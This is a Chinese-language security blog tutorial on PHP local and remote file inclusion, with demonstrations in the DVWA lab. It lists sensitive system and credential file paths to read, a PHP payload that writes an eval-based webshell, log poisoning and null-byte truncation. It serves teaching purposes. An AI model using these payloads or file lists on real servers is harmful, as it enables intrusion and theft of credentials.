Web漏洞_文件包含(原理、分類、利用)

一、原理

  • 編程語言中設計了可以在某個代碼中包含其他已經寫好或者可以供其他代碼調用的文件,如調用一些定義好的類或者函數。而正是因爲可以包含其他文件從而有可能會產生文件包含漏洞。
  • 大多數Web語言都可以使用文件包含操作,由於PHP語言的文件包含功能強大因此也容易出現文件包含漏洞。況且目前大部分網站由PHP開發,所以着重先研究PHP文件包含漏洞。

PHP中的包含函數:

include():如果包含文件未找到會顯示警告,腳本繼續執行;
include_once():包含過的文件不再包含,包含文件未找到會顯示警告,腳本繼續執行;
require():包含文件未找到會產生致命錯誤,腳本終止;
require_once():包含過的文件不再包含,包含文件未找到會產生致命錯誤,腳本終止。

二、分類

1、本地文件包含 Local File Include (LFI)

  • 本地文件包含故名包含的文件在本地服務器;
  • 當網站存在文件包含漏洞時,包含的文件只要符合php語法規範,PHP解析器就會對其解析,文件如果不符合PHP語法規範則會暴露出源代碼。若包含一個根本不存在的文件則會爆出網站的絕對路徑。

示例(配合文件上傳):

  • 首先在DVWA文件上傳漏洞模塊上傳一個test.txt,內容爲<?php phpinfo();?>
    在這裏插入圖片描述
  • 然後在DVWA的文件包含漏洞模塊(Low級別)中在URL中隊test.txt進行文件包含
    在這裏插入圖片描述
    可以看到,即使文件不是php的後綴也會按照php進行解析
    在這裏插入圖片描述
    若網站存在文件包含漏洞,當我們輸入一個不存在的文件時,會爆出網站的根目錄
    在這裏插入圖片描述

2、遠程文件包含 Remote File Include (RFI)

  • 遠程文件包含故名包含的文件不在本地服務器,而需要遠程訪問其他服務器
  • 前提:PHP開啓了遠程包含功能(php.ini中allow_url_include=on)

示例:

  1. 準備一臺遠程文件包含的服務器(我這裏在虛擬機中開啓了一個win7開啓phpstudy,ip爲192.168.216.130),然後在網站根目錄下建立test.txt
    在這裏插入圖片描述
  2. 然後瀏覽器訪問DVWA文件包含漏洞模塊,在地址欄中進行遠程文件包含
    在這裏插入圖片描述
    同樣解析了test.txt中的代碼

三、利用

大致可以分成以下6點

  1. 訪問敏感文件
  2. 本地文件包含結合文件上傳寫shell
  3. 遠程文件包含寫shell
  4. 使用PHP封裝協議
  5. 包含apache日誌
  6. 截斷包含(magic_quotes_gpc=off)php version <= 5.3.0magic_quotes_gpc自動開啓。之後版本自動關閉

訪問敏感文件

Windows系統
c:\boot.ini                                                                     // 查看系統版本
c:\windows\system32\inetsrv\MetaBase.xml               //  IIS配置文件
c:\windows\repair\sam                                                 //  存儲Windows系統初次安裝的密碼
c:\Program Files\mysql\my,ini                                      //   MySQL配置
c:\Program Files\mysql\data\mysql\user.MYD             //   MySQL root
c:\windows\php.ini                                                       //   php 配置信息
c:\windows\my.ini                                                         //   MySQL 配置文件
Linux/Unix系統
/etc/passwd                                                                 //  賬戶信息
/etc/shadow                                                                 //  賬戶密碼文件
/usr/local/app/apache2/conf/httpd.conf                       //   Apache2默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf    //   虛擬網站配置
/usr/local/app/php5/lib/php.ini                                     //   PHP相關配置
/etc/httpd/conf/httpd.conf                                            //   Apache配置文件
/etc/my.conf                                                                 //   mysql 配置文件

本地文件包含結合文件上傳寫shell

當我們上傳一個圖片馬在對方服務器無法解析時,即菜刀無法連shell的時候,可以上傳一個包含寫文件操作的圖片馬,然後通過文件包含對其執行後。目標服務器就會生成一個可供菜刀連接的shell

  1. 首先製作圖片馬包含<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[psd])?>');?> //這句話的意思爲打開shell.php如果沒有會新建,然後將第二個參數的代碼寫入到第一個參數的文件中圖片馬製作方法可參見windows cmd製作圖片木馬。然後通過文件上傳將此圖片馬上傳。
    在這裏插入圖片描述

  2. 對其進行本地文件包含
    在這裏插入圖片描述
    此時會在文件包含的目錄下面生成shell.php,密碼爲psd

  3. 通過菜刀進行連接,這裏需要注意的是我們包含的爲上傳目錄的文件,但是生成的文件是在當前文件包含目錄下的,即我們生成的shell文件在文件包含目錄下。
    在這裏插入圖片描述

遠程文件包含寫shell

遠程文件包含類似本地文件包含,只是包含的文件在另一臺服務器上,這裏依舊以之前做過的win7上進行,將之前做好的圖片馬上傳到win7網站根目錄下然後訪問DVWA進行遠程文件包含
在這裏插入圖片描述
然後進行菜刀連接
在這裏插入圖片描述

包含apache日誌

當訪問一個服務器不存在的文件時,會顯示文件不存在的錯誤,此時所訪問的文件名也會記錄到apache的error.log日誌中,可以利用這一點訪問一條一句話木馬使得代碼被寫入到error.log中,然後隊apache的錯誤日誌進行包含。

截斷包含

有些後臺程序會在文件包含時後邊加上文件的後綴,所以包含的時候只需要輸入文件名即可不用加後綴。如果後臺設置自動加上後綴爲php,但我們上傳了一張圖片馬,此時包含後文件整體就變成了x.jpg.php,此時如果magic_quotes_gpc=off,可以利用%00對其進行截斷。即URL中包含寫成x.jpg%00。此時在解析時就會將後臺自動加上的php後綴忽略。

歡迎關注我的微信公衆號獲取更多靶機、工具資源及虛擬機鏡像文件:justbeatrex
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章